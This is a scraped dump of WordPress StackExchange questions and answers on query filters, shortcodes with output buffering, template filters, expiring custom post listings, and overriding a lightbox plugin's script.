SELECT wp_posts.ID FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' AND ((wp_posts.post_status = 'publish')) AND wp_posts.ID IN (SELECT post_id FROM lat_lng_post WHERE
( 3959 * acos( cos( radians(-27.922459) )
* cos( radians( lat ) )
* cos( radians( lng )
- radians(153.334793) )
+ sin( radians(-27.922459) )
* sin( radians( lat ) ) ) ) <= 125) ORDER BY wp_posts.post_date DESC LIMIT 0, 5
```
This line is the problem: `AND wp_posts.post_type = 'post'` Why isn't the WP\_Query argument working to pass `post_type = profile`? Or am I doing something wrong? | Remove this part from your `posts_where` filter:
```
if (is_search() && get_search_query())
```
Note that `is_search()` is a check on the main query.
If you want to target the main search query, there's the `posts_search` filter available.
**Important**: Watch out for possible SQL injections, as you are taking user input into the SQL query. I think the `FILTER_SANITIZE_STRING` filter is too weak here, as it allows e.g. parentheses, where it allows the user to modify the structure of the SQL query. Consider `$wpdb->prepare()` with `%f`or `%F` [type specifiers](http://php.net/manual/en/function.sprintf.php) for floating point numbers. |
255,900 | <p>i using this code:</p>
<pre><code><?php ob_start(); echo '<div class="judul"><h3 style="text-align: center;"><strong>Download <?php echo esc_html( $judul ); ?> Batch Kumpulan Subtitle Indonesia</strong></h3></div>';
echo '<p><div class="deps"><h4>';
echo "<strong>Episode $bepisode</strong></h4>";
echo '</div></p>';
echo '<div class="dfr">';
echo "<strong>$bkualitas</strong><br/>";
echo '</div>';
echo '<div class="dln">';
echo "&nbsp;&nbsp;&nbsp;&nbsp;<strong>$blink</strong><br/><br/>";
echo '</div>';
echo '<div class="dfr">';
echo "<strong>$bkualitas2</strong><br/>";
echo '</div>';
echo '<div class="dln">';
echo "&nbsp;&nbsp;&nbsp;&nbsp;<strong>$blink2</strong><br/><br/>";
echo '</div>';
echo '<div class="dfr">';
echo "<strong>$bkualitas3</strong><br/>";
echo '</div>';
echo '<div class="dln">';
echo "&nbsp;&nbsp;&nbsp;&nbsp;<strong>$blink3</strong><br/><br/>";
echo '</div>'; $out = ob_get_clean(); ?>
</code></pre>
<p>then using this code in single.php :</p>
<pre><code><?php echo do_shortcode( '[restabs alignment="osc-tabs-center" responsive="false" tabcolor="#c1c1c1" tabheadcolor="#0a0a0a" seltabcolor="#8c8c8c" seltabheadcolor="#ffffff" tabhovercolor="#8c8c8c" responsive="true" icon="true" text="More"][restab title="Link Batch" active="active"]' . $out . '[/restab][/restabs]' );?>
</code></pre>
<p>why there is no meta value output?
<a href="https://i.stack.imgur.com/YvdSO.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/YvdSO.png" alt="the meta value doesn't show"></a></p>
<p>but without using ob_get_clean(); and shortcode, i can get output like this :
<a href="https://i.stack.imgur.com/n5TIJ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/n5TIJ.png" alt="output"></a></p>
<p>does ob_get_clean(); clear all $value? or $value doesn't work with shortcode?</p>
| [
{
"answer_id": 255901,
"author": "Milo",
"author_id": 4771,
"author_profile": "https://wordpress.stackexchange.com/users/4771",
"pm_score": 1,
"selected": false,
"text": "<p>You don't see anything because you're assigning the content to <code>$out</code> but then you don't do anything with that value. Shortcodes have to <code>return</code> their content or you won't see any output.</p>\n\n<pre><code>$out = ob_get_clean();\nreturn $out;\n</code></pre>\n\n<p>or just</p>\n\n<pre><code>return ob_get_clean();\n</code></pre>\n"
},
{
"answer_id": 373427,
"author": "DinhCode",
"author_id": 146475,
"author_profile": "https://wordpress.stackexchange.com/users/146475",
"pm_score": 0,
"selected": false,
"text": "<pre><code>function id_shortcode() {\n ob_start();\n?>\n<HTML> <here> ... \n<?php\n return ob_get_clean();\n} ?>\n\n \n</code></pre>\n<p>If have query in shortcode don't foget <code>wp_reset_postdata();</code> after <code>return ob_get_clean();</code></p>\n"
}
]
| 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/255900",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112986/"
]
| i using this code:
```
<?php ob_start(); echo '<div class="judul"><h3 style="text-align: center;"><strong>Download <?php echo esc_html( $judul ); ?> Batch Kumpulan Subtitle Indonesia</strong></h3></div>';
echo '<p><div class="deps"><h4>';
echo "<strong>Episode $bepisode</strong></h4>";
echo '</div></p>';
echo '<div class="dfr">';
echo "<strong>$bkualitas</strong><br/>";
echo '</div>';
echo '<div class="dln">';
echo " <strong>$blink</strong><br/><br/>";
echo '</div>';
echo '<div class="dfr">';
echo "<strong>$bkualitas2</strong><br/>";
echo '</div>';
echo '<div class="dln">';
echo " <strong>$blink2</strong><br/><br/>";
echo '</div>';
echo '<div class="dfr">';
echo "<strong>$bkualitas3</strong><br/>";
echo '</div>';
echo '<div class="dln">';
echo " <strong>$blink3</strong><br/><br/>";
echo '</div>'; $out = ob_get_clean(); ?>
```
then using this code in single.php :
```
<?php echo do_shortcode( '[restabs alignment="osc-tabs-center" responsive="false" tabcolor="#c1c1c1" tabheadcolor="#0a0a0a" seltabcolor="#8c8c8c" seltabheadcolor="#ffffff" tabhovercolor="#8c8c8c" responsive="true" icon="true" text="More"][restab title="Link Batch" active="active"]' . $out . '[/restab][/restabs]' );?>
```
why there is no meta value output?
[](https://i.stack.imgur.com/YvdSO.png)
but without using ob\_get\_clean(); and shortcode, i can get output like this :
[](https://i.stack.imgur.com/n5TIJ.png)
does ob\_get\_clean(); clear all $value? or $value doesn't work with shortcode? | You don't see anything because you're assigning the content to `$out` but then you don't do anything with that value. Shortcodes have to `return` their content or you won't see any output.
```
$out = ob_get_clean();
return $out;
```
or just
```
return ob_get_clean();
``` |
255,936 | <p>I'm trying to filter the contents of my page template dropdown in the admin area. Having done some Googling it seems that the hook I need to use is theme_page_templates ... but this just does not run for me. I have no idea why but the code is not called at all. This is the code I'm using, but nothing happens.</p>
<pre><code>function filter_template_dropdown( $page_templates ) {
die( var_dump( $page_templates ) );
// Removes item from template array.
unset( $page_templates['template-faq.php'] );
// Returns the updated array.
return $page_templates;
}
add_filter( 'theme_page_templates', 'filter_template_dropdown' );
</code></pre>
<p>I'm running the latest version of Wordpress (4.7.2) - any help would be much appreciated!</p>
| [
{
"answer_id": 255938,
"author": "Tunji",
"author_id": 54764,
"author_profile": "https://wordpress.stackexchange.com/users/54764",
"pm_score": 0,
"selected": false,
"text": "<p>You have a call to <code>die()</code> in your function, which terminates the execution of your function and outputs the $page_templates as is.</p>\n\n<p>To successfully remove the <code>template-faq.php</code> from the available page templates, you should remove your call to <code>die()</code>:</p>\n\n<pre><code>function filter_template_dropdown( $page_templates ) {\n\n // Removes item from template array.\n unset( $page_templates['template-faq.php'] );\n\n // Returns the updated array.\n return $page_templates;\n}\nadd_filter( 'theme_page_templates', 'filter_template_dropdown' );\n</code></pre>\n"
},
{
"answer_id": 380953,
"author": "Mukhlis",
"author_id": 199876,
"author_profile": "https://wordpress.stackexchange.com/users/199876",
"pm_score": 1,
"selected": false,
"text": "<p>The <code>theme_page_templates</code> filter is not available anymore, please use the <code>theme_templates</code> filter instead.</p>\n<pre class=\"lang-php prettyprint-override\"><code>add_filter( 'theme_templates', 'filter_template_dropdown' );\n</code></pre>\n"
}
]
| 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/255936",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/62621/"
]
| I'm trying to filter the contents of my page template dropdown in the admin area. Having done some Googling it seems that the hook I need to use is theme\_page\_templates ... but this just does not run for me. I have no idea why but the code is not called at all. This is the code I'm using, but nothing happens.
```
function filter_template_dropdown( $page_templates ) {
die( var_dump( $page_templates ) );
// Removes item from template array.
unset( $page_templates['template-faq.php'] );
// Returns the updated array.
return $page_templates;
}
add_filter( 'theme_page_templates', 'filter_template_dropdown' );
```
I'm running the latest version of Wordpress (4.7.2) - any help would be much appreciated! | The `theme_page_templates` filter is not available anymore, please use the `theme_templates` filter instead.
```php
add_filter( 'theme_templates', 'filter_template_dropdown' );
``` |
255,977 | <p>I have created a real estate theme, and for each property there is a property listing expiry date after which the property no longer shows on the site. Each property is a custom Properties post type. The code I use to only use live properties is;</p>
<pre><code>function live_properties_only( $query ) {
if ( ! is_main_query() ) {
$today = date('Ymd');
$meta_query = array (
'post_type' => 'properties',
'meta_query' => array(
'key' => 'date_listing_expires',
'compare' => '>',
'value' => $today,
),
);
$query->set('meta_query',$meta_query);
}
}
add_action( 'pre_get_posts', 'live_properties_only' );
</code></pre>
<p>This is in the functions.php file, the only problem is that is prevents regular blog posts from showing. How can I resolve this so blog posts show and only un-expired properties also show.</p>
| [
{
"answer_id": 255979,
"author": "mr__culpepper",
"author_id": 108606,
"author_profile": "https://wordpress.stackexchange.com/users/108606",
"pm_score": 0,
"selected": false,
"text": "<p>It seems you are only querying only for posts of the type 'properties.' I'm not 100% sure, but removing the post_type line <em>may</em> resolve this. I hope this helps :)</p>\n\n<pre><code>$meta_query = array (\n 'meta_query' => array(\n 'key' => 'date_listing_expires',\n 'compare' => '>',\n 'value' => $today,\n ),\n );\n</code></pre>\n"
},
{
"answer_id": 255985,
"author": "cybmeta",
"author_id": 37428,
"author_profile": "https://wordpress.stackexchange.com/users/37428",
"pm_score": 2,
"selected": true,
"text": "<p>I think you need to check if you are in the <code>properties</code> post type archive before to manipulate the query, so it doesn't affect to other archives.</p>\n\n<p>Also, you need to check if the actual <code>$query</code> is the main query, so other queries are not affected (the function <code>is_main_query()</code> does a different thing; it doesn't check actual query; if you turn DEBUG on, you will get a message in the logs saying you are doing it wrong by using <code>is_main_query()</code> in <code>pre_get_posts</code> action). Finally, you probably want to exclude the query manipulation in admin side:</p>\n\n<pre><code>function live_properties_only( $query ) {\n\n if ( is_post_type_archive( 'properties' ) && ! is_admin() && $query->is_main_query() ) {\n\n $today = date('Ymd');\n $meta_query = array (\n 'meta_query' => array(\n 'key' => 'date_listing_expires',\n 'compare' => '>',\n 'value' => $today,\n ),\n );\n\n $query->set('meta_query',$meta_query);\n\n }\n}\n\nadd_action( 'pre_get_posts', 'live_properties_only' );\n</code></pre>\n\n<p>PD: comparing dates in meta fields should use YYYY-MM-DD format (Y-m-d for PHP <code>date()</code> function); then you can set the parameter <code>'type' => DATE</code> and you will be doing a date comparison in the way it has been tested; other methods can work but <code>WP_Query</code> has not been tested with them (obviously, the meta fields values need to be stored in this format as well):</p>\n\n<pre><code> $today = date('Y-m-d');\n $meta_query = array (\n 'meta_query' => array(\n 'key' => 'date_listing_expires',\n 'compare' => '>',\n 'value' => $today,\n 'type' => 'DATE'\n ),\n );\n</code></pre>\n"
}
]
| 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/255977",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36773/"
]
| I have created a real estate theme, and for each property there is a property listing expiry date after which the property no longer shows on the site. Each property is a custom Properties post type. The code I use to only use live properties is;
```
function live_properties_only( $query ) {
if ( ! is_main_query() ) {
$today = date('Ymd');
$meta_query = array (
'post_type' => 'properties',
'meta_query' => array(
'key' => 'date_listing_expires',
'compare' => '>',
'value' => $today,
),
);
$query->set('meta_query',$meta_query);
}
}
add_action( 'pre_get_posts', 'live_properties_only' );
```
This is in the functions.php file, the only problem is that is prevents regular blog posts from showing. How can I resolve this so blog posts show and only un-expired properties also show. | I think you need to check if you are in the `properties` post type archive before to manipulate the query, so it doesn't affect to other archives.
Also, you need to check if the actual `$query` is the main query, so other queries are not affected (the function `is_main_query()` does a different thing; it doesn't check actual query; if you turn DEBUG on, you will get a message in the logs saying you are doing it wrong by using `is_main_query()` in `pre_get_posts` action). Finally, you probably want to exclude the query manipulation in admin side:
```
function live_properties_only( $query ) {
if ( is_post_type_archive( 'properties' ) && ! is_admin() && $query->is_main_query() ) {
$today = date('Ymd');
$meta_query = array (
'meta_query' => array(
'key' => 'date_listing_expires',
'compare' => '>',
'value' => $today,
),
);
$query->set('meta_query',$meta_query);
}
}
add_action( 'pre_get_posts', 'live_properties_only' );
```
PD: comparing dates in meta fields should use YYYY-MM-DD format (Y-m-d for PHP `date()` function); then you can set the parameter `'type' => DATE` and you will be doing a date comparison in the way it has been tested; other methods can work but `WP_Query` has not been tested with them (obviously, the meta fields values need to be stored in this format as well):
```
$today = date('Y-m-d');
$meta_query = array (
'meta_query' => array(
'key' => 'date_listing_expires',
'compare' => '>',
'value' => $today,
'type' => 'DATE'
),
);
``` |
255,990 | <p>I've successfully managed to add the class 'active' to the current page item using the for each in my template page. </p>
<p>What I want to do is with jQuery (or css3 if anyone has any ideas) get the ul of current li to display if either it is active or on clicking on another div.</p>
<p>Here is the output of my HTML </p>
<pre><code><div id="menu">
<div class="trigger"> show or hide it </div>
<ul class="things">
<li> item 1 </li>
<li class="active"> item 2 </li>
<li> item 3 </li>
</ul>
<div class="trigger"> show or hide it </div>
<ul class="things">
<li> item 4 </li>
<li> item 5 </li>
<li> item 6 </li>
</ul>
</div>
</code></pre>
<p>So what I would like is using jQuery to only show the ul if either the trigger is clicked or if it contains an active li and for both options to be available at the same time. So show it by default it has an active li but also let me hide it by clicking the trigger.</p>
| [
{
"answer_id": 255979,
"author": "mr__culpepper",
"author_id": 108606,
"author_profile": "https://wordpress.stackexchange.com/users/108606",
"pm_score": 0,
"selected": false,
"text": "<p>It seems you are only querying only for posts of the type 'properties.' I'm not 100% sure, but removing the post_type line <em>may</em> resolve this. I hope this helps :)</p>\n\n<pre><code>$meta_query = array (\n 'meta_query' => array(\n 'key' => 'date_listing_expires',\n 'compare' => '>',\n 'value' => $today,\n ),\n );\n</code></pre>\n"
},
{
"answer_id": 255985,
"author": "cybmeta",
"author_id": 37428,
"author_profile": "https://wordpress.stackexchange.com/users/37428",
"pm_score": 2,
"selected": true,
"text": "<p>I think you need to check if you are in the <code>properties</code> post type archive before to manipulate the query, so it doesn't affect to other archives.</p>\n\n<p>Also, you need to check if the actual <code>$query</code> is the main query, so other queries are not affected (the function <code>is_main_query()</code> does a different thing; it doesn't check actual query; if you turn DEBUG on, you will get a message in the logs saying you are doing it wrong by using <code>is_main_query()</code> in <code>pre_get_posts</code> action). Finally, you probably want to exclude the query manipulation in admin side:</p>\n\n<pre><code>function live_properties_only( $query ) {\n\n if ( is_post_type_archive( 'properties' ) && ! is_admin() && $query->is_main_query() ) {\n\n $today = date('Ymd');\n $meta_query = array (\n 'meta_query' => array(\n 'key' => 'date_listing_expires',\n 'compare' => '>',\n 'value' => $today,\n ),\n );\n\n $query->set('meta_query',$meta_query);\n\n }\n}\n\nadd_action( 'pre_get_posts', 'live_properties_only' );\n</code></pre>\n\n<p>PD: comparing dates in meta fields should use YYYY-MM-DD format (Y-m-d for PHP <code>date()</code> function); then you can set the parameter <code>'type' => DATE</code> and you will be doing a date comparison in the way it has been tested; other methods can work but <code>WP_Query</code> has not been tested with them (obviously, the meta fields values need to be stored in this format as well):</p>\n\n<pre><code> $today = date('Y-m-d');\n $meta_query = array (\n 'meta_query' => array(\n 'key' => 'date_listing_expires',\n 'compare' => '>',\n 'value' => $today,\n 'type' => 'DATE'\n ),\n );\n</code></pre>\n"
}
]
| 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/255990",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/91951/"
]
| I've successfully managed to add the class 'active' to the current page item using the for each in my template page.
What I want to do is with jQuery (or css3 if anyone has any ideas) get the ul of current li to display if either it is active or on clicking on another div.
Here is the output of my HTML
```
<div id="menu">
<div class="trigger"> show or hide it </div>
<ul class="things">
<li> item 1 </li>
<li class="active"> item 2 </li>
<li> item 3 </li>
</ul>
<div class="trigger"> show or hide it </div>
<ul class="things">
<li> item 4 </li>
<li> item 5 </li>
<li> item 6 </li>
</ul>
</div>
```
So what I would like is using jQuery to only show the ul if either the trigger is clicked or if it contains an active li and for both options to be available at the same time. So show it by default it has an active li but also let me hide it by clicking the trigger. | I think you need to check if you are in the `properties` post type archive before to manipulate the query, so it doesn't affect to other archives.
Also, you need to check if the actual `$query` is the main query, so other queries are not affected (the function `is_main_query()` does a different thing; it doesn't check actual query; if you turn DEBUG on, you will get a message in the logs saying you are doing it wrong by using `is_main_query()` in `pre_get_posts` action). Finally, you probably want to exclude the query manipulation in admin side:
```
function live_properties_only( $query ) {
if ( is_post_type_archive( 'properties' ) && ! is_admin() && $query->is_main_query() ) {
$today = date('Ymd');
$meta_query = array (
'meta_query' => array(
'key' => 'date_listing_expires',
'compare' => '>',
'value' => $today,
),
);
$query->set('meta_query',$meta_query);
}
}
add_action( 'pre_get_posts', 'live_properties_only' );
```
PD: comparing dates in meta fields should use YYYY-MM-DD format (Y-m-d for PHP `date()` function); then you can set the parameter `'type' => DATE` and you will be doing a date comparison in the way it has been tested; other methods can work but `WP_Query` has not been tested with them (obviously, the meta fields values need to be stored in this format as well):
```
$today = date('Y-m-d');
$meta_query = array (
'meta_query' => array(
'key' => 'date_listing_expires',
'compare' => '>',
'value' => $today,
'type' => 'DATE'
),
);
``` |
255,996 | <p>I am using the Simplelightbox plugin (<a href="https://wordpress.org/plugins/simplelightbox/" rel="nofollow noreferrer">Plugin URL</a> or <a href="https://www.andrerinas.de/simplelightbox.html" rel="nofollow noreferrer">Homepage URL</a>) on my site: <a href="http://joshrodg.com/condos/pictures/" rel="nofollow noreferrer">http://joshrodg.com/condos/pictures/</a></p>
<p>On that page I have a picture gallery that is using the Lightbox and then right below the picture gallery, there is a section called Pictures with 5 thumbnails, this section is also using the Lightbox.</p>
<p>There are 14 images in the picture gallery and 5 images in the Picture section (underneath the gallery).</p>
<p>Out of the box, when you click on an image the Lightbox would open, but the total would say 1 of 19, because there are 19 total images using the lightbox plugin on that page.</p>
<p>What I wanted it to do was separate those sections, or have multiple lightboxes. So, 1 of 14 would show when clicking on a gallery image or 1 of 5 would show when clicking on a thumbnail in the pictures section.</p>
<p>I was able to fix this by modifying the following file (because there wasn't a plugin option that would allow me to configure the multiple Lightboxes): <a href="http://joshrodg.com/condos/wp-content/plugins/simplelightbox/resources/js/setup.simplelightbox.js" rel="nofollow noreferrer">http://joshrodg.com/condos/wp-content/plugins/simplelightbox/resources/js/setup.simplelightbox.js</a></p>
<p>The original code (starts at line 35):</p>
<pre><code>if($('a.simplelightbox ').length ) {
var simplelightbox = $("a.simplelightbox").simpleLightbox(options);
}
</code></pre>
<p>The modified code (starts at line 35):</p>
<pre><code>if($('a.simplelightbox ').length ) {
var lightbox1 = $('.gallery a').simpleLightbox();
var lightbox2 = $('#pict a').simpleLightbox();
}
</code></pre>
<p>This fixed the problem, but the next time the plugin has an update, those settings may get wiped away.</p>
<p>Could someone share a function or something that I could use in my template to avoid a possible issue if the plugin was ever updated?</p>
<p>Thanks,<br />
Josh</p>
| [
{
"answer_id": 256001,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": -1,
"selected": false,
"text": "<p>I assume you mean to you want to stop the notifications?</p>\n\n<p>The simplest and easiest way is to change the version of the plugin which you don't want to update. For an example if I don't want my awesome plugin to get updated, I open it's definition file, which is like:</p>\n\n<pre><code>/*\n Plugin Name: simple light\n Plugin URI: http://www.example.com/\n Version: 1.1.1\n\n*/\n</code></pre>\n\n<p>Here in the Version change 1.1.1 to 9999 like:</p>\n\n<pre><code>/*\n Plugin Name: simple light\n Plugin URI: http://www.example.com/\n Version: 9999\n\n*/\n</code></pre>\n"
},
{
"answer_id": 256016,
"author": "rhinos",
"author_id": 112958,
"author_profile": "https://wordpress.stackexchange.com/users/112958",
"pm_score": 1,
"selected": false,
"text": "<p>If you manually modify a plugin, the only way to keep the changes is to never update the plugin. There is a possibility of creating a wordpress hook via the functions file, but it would depend on the plugin and it may not support this.</p>\n\n<p>Whenever you manually make changes to a plugin, you have two choices:</p>\n\n<p>1) Never update the plugin again, or<br>\n2) Make a list of your changes (possibly in a text file you keep on your computer) so that if you want to update the plugin then you can manually go in and re-do the changes.</p>\n"
},
{
"answer_id": 256028,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 2,
"selected": true,
"text": "<p>Create a plugin that dequeues the javascript you don't want, and enqueues the edited javascript.</p>\n\n<pre><code><?php\n/**\n * Plugin Name: Stackexchange Sample\n * Author: Nathan Johnson\n * Licence: GPL2+\n * Licence URI: https://www.gnu.org/licenses/gpl-2.0.en.html\n * Domain Path: /languages\n * Text Domain: stackexchange-sample\n */\n\n//* Don't access this file directly\ndefined( 'ABSPATH' ) or die();\n\nadd_action( 'wp_enqueue_scripts', 'wpse_106269_enqueue_scripts', 15 );\nfunction wpse_106269_enqueue_scripts() {\n $slb = SimpleLightbox::get_instance();\n wp_dequeue_script( 'simplelightbox-call');\n wp_deregister_script( 'simplelightbox-call' );\n\n wp_register_script( 'simplelightbox-edit',\n plugins_url( '/simplelightbox-edit.js', __FILE__ ),\n [ 'jquery', 'simplelightbox' ], false, true);\n wp_localize_script( 'simplelightbox-edit', 'php_vars', $slb->options );\n wp_enqueue_script( 'simplelightbox-edit' );\n}\n</code></pre>\n\n<p>EDIT: I just tested the above plugin on a fresh install and it dequeues the 'simplelightbox-call' javascript and enqueues the edited script.</p>\n"
},
{
"answer_id": 256036,
"author": "Kenneth Odle",
"author_id": 111488,
"author_profile": "https://wordpress.stackexchange.com/users/111488",
"pm_score": 0,
"selected": false,
"text": "<p>You really want to avoid tweaking plugins, for all the reasons listed here. If you update, your changes are gone. If you don't update, you risk leaving your site open to security vulnerabilities.</p>\n\n<p>The problem here is in your plugin. \"Simple\" means, among other things, one lightbox display per page. You need to find a plugin which will allow you to have multiple lightbox displays on a page.</p>\n"
}
]
| 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/255996",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/9820/"
]
| I am using the Simplelightbox plugin ([Plugin URL](https://wordpress.org/plugins/simplelightbox/) or [Homepage URL](https://www.andrerinas.de/simplelightbox.html)) on my site: <http://joshrodg.com/condos/pictures/>
On that page I have a picture gallery that is using the Lightbox and then right below the picture gallery, there is a section called Pictures with 5 thumbnails, this section is also using the Lightbox.
There are 14 images in the picture gallery and 5 images in the Picture section (underneath the gallery).
Out of the box, when you click on an image the Lightbox would open, but the total would say 1 of 19, because there are 19 total images using the lightbox plugin on that page.
What I wanted it to do was separate those sections, or have multiple lightboxes. So, 1 of 14 would show when clicking on a gallery image or 1 of 5 would show when clicking on a thumbnail in the pictures section.
I was able to fix this by modifying the following file (because there wasn't a plugin option that would allow me to configure the multiple Lightboxes): <http://joshrodg.com/condos/wp-content/plugins/simplelightbox/resources/js/setup.simplelightbox.js>
The original code (starts at line 35):
```
if($('a.simplelightbox ').length ) {
var simplelightbox = $("a.simplelightbox").simpleLightbox(options);
}
```
The modified code (starts at line 35):
```
if($('a.simplelightbox ').length ) {
var lightbox1 = $('.gallery a').simpleLightbox();
var lightbox2 = $('#pict a').simpleLightbox();
}
```
This fixed the problem, but the next time the plugin has an update, those settings may get wiped away.
Could someone share a function or something that I could use in my template to avoid a possible issue if the plugin was ever updated?
Thanks,
Josh | Create a plugin that dequeues the javascript you don't want, and enqueues the edited javascript.
```
<?php
/**
* Plugin Name: Stackexchange Sample
* Author: Nathan Johnson
* Licence: GPL2+
* Licence URI: https://www.gnu.org/licenses/gpl-2.0.en.html
* Domain Path: /languages
* Text Domain: stackexchange-sample
*/
//* Don't access this file directly
defined( 'ABSPATH' ) or die();
add_action( 'wp_enqueue_scripts', 'wpse_106269_enqueue_scripts', 15 );
function wpse_106269_enqueue_scripts() {
$slb = SimpleLightbox::get_instance();
wp_dequeue_script( 'simplelightbox-call');
wp_deregister_script( 'simplelightbox-call' );
wp_register_script( 'simplelightbox-edit',
plugins_url( '/simplelightbox-edit.js', __FILE__ ),
[ 'jquery', 'simplelightbox' ], false, true);
wp_localize_script( 'simplelightbox-edit', 'php_vars', $slb->options );
wp_enqueue_script( 'simplelightbox-edit' );
}
```
EDIT: I just tested the above plugin on a fresh install and it dequeues the 'simplelightbox-call' javascript and enqueues the edited script. |
256,009 | <p>I've noticed a random JavaScript function at the end of the source code of my WordPress website. </p>
<pre><code><script type="text/javascript">
(function() {
var request, b = document.body, c = 'className', cs = 'customize-support', rcs = new RegExp('(^|\\s+)(no-)?'+cs+'(\\s+|$)');
request = true;
b[c] = b[c].replace( rcs, ' ' );
// The customizer requires postMessage and CORS (if the site is cross domain)
b[c] += ( window.postMessage && request ? ' ' : ' no-' ) + cs;
}());
</script>
</code></pre>
<p>A quick google search lead me to the article below, but I didn't find it very informative. </p>
<p><a href="https://developer.wordpress.org/reference/functions/wp_customize_support_script/" rel="nofollow noreferrer">https://developer.wordpress.org/reference/functions/wp_customize_support_script/</a></p>
<p>Does anyone know what <em>exactly</em> this script does, and if it is required?</p>
| [
{
"answer_id": 256001,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": -1,
"selected": false,
"text": "<p>I assume you mean to you want to stop the notifications?</p>\n\n<p>The simplest and easiest way is to change the version of the plugin which you don't want to update. For an example if I don't want my awesome plugin to get updated, I open it's definition file, which is like:</p>\n\n<pre><code>/*\n Plugin Name: simple light\n Plugin URI: http://www.example.com/\n Version: 1.1.1\n\n*/\n</code></pre>\n\n<p>Here in the Version change 1.1.1 to 9999 like:</p>\n\n<pre><code>/*\n Plugin Name: simple light\n Plugin URI: http://www.example.com/\n Version: 9999\n\n*/\n</code></pre>\n"
},
{
"answer_id": 256016,
"author": "rhinos",
"author_id": 112958,
"author_profile": "https://wordpress.stackexchange.com/users/112958",
"pm_score": 1,
"selected": false,
"text": "<p>If you manually modify a plugin, the only way to keep the changes is to never update the plugin. There is a possibility of creating a wordpress hook via the functions file, but it would depend on the plugin and it may not support this.</p>\n\n<p>Whenever you manually make changes to a plugin, you have two choices:</p>\n\n<p>1) Never update the plugin again, or<br>\n2) Make a list of your changes (possibly in a text file you keep on your computer) so that if you want to update the plugin then you can manually go in and re-do the changes.</p>\n"
},
{
"answer_id": 256028,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 2,
"selected": true,
"text": "<p>Create a plugin that dequeues the javascript you don't want, and enqueues the edited javascript.</p>\n\n<pre><code><?php\n/**\n * Plugin Name: Stackexchange Sample\n * Author: Nathan Johnson\n * Licence: GPL2+\n * Licence URI: https://www.gnu.org/licenses/gpl-2.0.en.html\n * Domain Path: /languages\n * Text Domain: stackexchange-sample\n */\n\n//* Don't access this file directly\ndefined( 'ABSPATH' ) or die();\n\nadd_action( 'wp_enqueue_scripts', 'wpse_106269_enqueue_scripts', 15 );\nfunction wpse_106269_enqueue_scripts() {\n $slb = SimpleLightbox::get_instance();\n wp_dequeue_script( 'simplelightbox-call');\n wp_deregister_script( 'simplelightbox-call' );\n\n wp_register_script( 'simplelightbox-edit',\n plugins_url( '/simplelightbox-edit.js', __FILE__ ),\n [ 'jquery', 'simplelightbox' ], false, true);\n wp_localize_script( 'simplelightbox-edit', 'php_vars', $slb->options );\n wp_enqueue_script( 'simplelightbox-edit' );\n}\n</code></pre>\n\n<p>EDIT: I just tested the above plugin on a fresh install and it dequeues the 'simplelightbox-call' javascript and enqueues the edited script.</p>\n"
},
{
"answer_id": 256036,
"author": "Kenneth Odle",
"author_id": 111488,
"author_profile": "https://wordpress.stackexchange.com/users/111488",
"pm_score": 0,
"selected": false,
"text": "<p>You really want to avoid tweaking plugins, for all the reasons listed here. If you update, your changes are gone. If you don't update, you risk leaving your site open to security vulnerabilities.</p>\n\n<p>The problem here is in your plugin. \"Simple\" means, among other things, one lightbox display per page. You need to find a plugin which will allow you to have multiple lightbox displays on a page.</p>\n"
}
]
| 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/256009",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/86794/"
]
| I've noticed a random JavaScript function at the end of the source code of my WordPress website.
```
<script type="text/javascript">
(function() {
var request, b = document.body, c = 'className', cs = 'customize-support', rcs = new RegExp('(^|\\s+)(no-)?'+cs+'(\\s+|$)');
request = true;
b[c] = b[c].replace( rcs, ' ' );
// The customizer requires postMessage and CORS (if the site is cross domain)
b[c] += ( window.postMessage && request ? ' ' : ' no-' ) + cs;
}());
</script>
```
A quick google search lead me to the article below, but I didn't find it very informative.
<https://developer.wordpress.org/reference/functions/wp_customize_support_script/>
Does anyone know what *exactly* this script does, and if it is required? | Create a plugin that dequeues the javascript you don't want, and enqueues the edited javascript.
```
<?php
/**
* Plugin Name: Stackexchange Sample
* Author: Nathan Johnson
* Licence: GPL2+
* Licence URI: https://www.gnu.org/licenses/gpl-2.0.en.html
* Domain Path: /languages
* Text Domain: stackexchange-sample
*/
//* Don't access this file directly
defined( 'ABSPATH' ) or die();
add_action( 'wp_enqueue_scripts', 'wpse_106269_enqueue_scripts', 15 );
function wpse_106269_enqueue_scripts() {
$slb = SimpleLightbox::get_instance();
wp_dequeue_script( 'simplelightbox-call');
wp_deregister_script( 'simplelightbox-call' );
wp_register_script( 'simplelightbox-edit',
plugins_url( '/simplelightbox-edit.js', __FILE__ ),
[ 'jquery', 'simplelightbox' ], false, true);
wp_localize_script( 'simplelightbox-edit', 'php_vars', $slb->options );
wp_enqueue_script( 'simplelightbox-edit' );
}
```
EDIT: I just tested the above plugin on a fresh install and it dequeues the 'simplelightbox-call' javascript and enqueues the edited script. |
256,010 | <p>I'm working on a Wordpress Multi-user site (Buddypress?). Every day, there are between 5-15 new accounts created, yet Google Analytics is reporting little-to-no traffic.</p>
<p>The site is far from finished, and I long ago disabled all content-creation features for non-administrators (because as soon as it went live people or bots started creating spam pages).</p>
